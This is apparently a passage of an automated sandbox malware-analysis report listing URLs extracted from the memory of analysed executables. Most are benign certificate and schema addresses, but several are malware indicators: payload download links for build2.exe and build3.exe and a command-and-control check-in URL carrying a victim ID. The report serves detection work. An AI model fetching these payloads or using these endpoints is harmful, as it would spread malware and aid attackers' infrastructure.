                          Source: EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://brusuax.com/dl/build2.exerun
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2024953260.0000000009B0B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                          Source: 78E8.exe.2.drString found in binary or memory: http://certificates.godaddy.com/repository/0
                          Source: 78E8.exe.2.drString found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
                          Source: 78E8.exe.2.drString found in binary or memory: http://certs.godaddy.com/repository/1301
                          Source: 78E8.exe.2.drString found in binary or memory: http://crl.godaddy.com/gdig2s5-6.crl0
                          Source: 78E8.exe.2.drString found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
                          Source: 78E8.exe.2.drString found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, 78E8.exe.2.drString found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
                          Source: explorer.exe, 00000002.00000000.2020519450.0000000000F13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.v
                          Source: svchost.exe, 00000026.00000002.4426661126.000002A52D800000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2024953260.0000000009B0B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2024953260.0000000009B0B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, 78E8.exe.2.drString found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000825000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
                          Source: svchost.exe, 00000009.00000003.2416032472.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2757410368.0000018DC8178000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2400632891.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2760654469.0000018DC8183000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2757112807.0000018DC812F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4440125337.0000018DC8184000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352187626.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352128777.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
                          Source: svchost.exe, 00000009.00000003.2425197691.0000018DC8107000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$
                          Source: svchost.exe, 00000009.00000003.2324953599.0000018DC8152000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd0
                          Source: svchost.exe, 00000009.00000003.2353341306.0000018DC810F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416631014.0000018DC810F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416032472.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2757648920.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416828078.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352298730.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2354032476.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2400989842.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408493102.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2426140308.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4438780588.0000018DC8110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2425197691.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353631447.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352442820.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353484913.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2354366362.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416141420.0000018DC8109000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408198456.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2426062393.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352187626.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352128777.0000018DC8107000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
                          Source: svchost.exe, 00000009.00000003.2757410368.0000018DC8178000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAA
                          Source: svchost.exe, 00000009.00000003.2760323561.0000018DC8830000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2760654469.0000018DC8183000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4440125337.0000018DC8184000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352187626.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352128777.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439763380.0000018DC817B000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
                          Source: svchost.exe, 00000009.00000003.2416828078.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416141420.0000018DC8109000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
                          Source: svchost.exe, 00000009.00000003.2353341306.0000018DC810F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416631014.0000018DC810F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416032472.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2757648920.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416828078.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352298730.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2354032476.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2400989842.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408493102.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2426140308.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4438780588.0000018DC8110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2425197691.0000018DC8107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353631447.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352442820.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353484913.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2354366362.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2416141420.0000018DC8109000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408198456.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2426062393.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352187626.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352128777.0000018DC8107000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
                          Source: svchost.exe, 00000009.00000003.2757410368.0000018DC8178000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAA
                          Source: svchost.exe, 00000009.00000003.2408646351.0000018DC8179000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
                          Source: svchost.exe, 00000009.00000003.2408646351.0000018DC8179000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
                          Source: svchost.exe, 00000009.00000003.2324953599.0000018DC8152000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
                          Source: svchost.exe, 00000009.00000003.2757410368.0000018DC8178000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
                          Source: svchost.exe, 00000009.00000002.4441369535.0000018DC88D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2760323561.0000018DC8830000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4441562250.0000018DC88F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
                          Source: qmgr.db.38.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
                          Source: qmgr.db.38.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                          Source: EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exe
                          Source: EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.000000000097B000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exe$run
                          Source: EE23.exe, 00000012.00000002.4436429533.000000000097B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exe$runinstall020921_delay721_sec.exe02
                          Source: EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exe.
                          Source: EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exeY
                          Source: EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exerun2b-
                          Source: EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/files/1/build3.exex
                          Source: EE23.exe, 00000011.00000002.4435699034.0000000000798000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000003.2440754004.00000000009C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php
                          Source: EE23.exe, 00000011.00000002.4435699034.00000000007F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F2
                          Source: EE23.exe, 00000011.00000002.4435699034.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4435699034.0000000000758000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4435699034.0000000000798000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54
                          Source: EE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.000000000097B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
                          Source: EE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true#g
                          Source: EE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true5gi
                          Source: EE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=truei
                          Source: EE23.exe, 00000011.00000002.4435699034.0000000000798000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C5495E5CEFBF4173C54
                          Source: EE23.exe, 00000011.00000002.4435699034.00000000007E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54d=903E7F261711F85395E5CEFBF4173
                          Source: EE23.exe, 00000011.00000002.4435699034.00000000007E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54m
                          Source: EE23.exe, 00000011.00000002.4435699034.0000000000798000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000003.2440754004.00000000009C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://habrafa.com/test1/get.phppyou
                          Source: EE23.exe, 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2024953260.0000000009B0B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                          Source: explorer.exe, 00000002.00000000.2024953260.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
                          Source: 78E8.exe.2.drString found in binary or memory: http://ocsp.godaddy.com/0
                          Source: 78E8.exe.2.drString found in binary or memory: http://ocsp.godaddy.com/02
                          Source: 78E8.exe.2.drString found in binary or memory: http://ocsp.godaddy.com/05
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, 78E8.exe.2.drString found in binary or memory: http://ocsp.sectigo.com0
                          Source: svchost.exe, 00000009.00000002.4441225361.0000018DC88A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://passport.net/tb
                          Source: E5F3.exe, 0000001E.00000003.2960944683.0000000006D41000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3123956633.0000000006D50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purl.oeny4
                          Source: explorer.exe, 00000002.00000000.2023447130.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2022907903.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2023421052.0000000008870000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
                          Source: svchost.exe, 00000009.00000003.2353341306.0000018DC810F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352298730.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353631447.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2352442820.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2353484913.0000018DC810E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2760323561.0000018DC8830000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4440782569.0000018DC8831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439312604.0000018DC815F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
                          Source: svchost.exe, 00000009.00000002.4439122221.0000018DC8137000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                          Source: svchost.exe, 00000009.00000002.4439122221.0000018DC8137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439312604.0000018DC815F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
                          Source: svchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy=80502
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
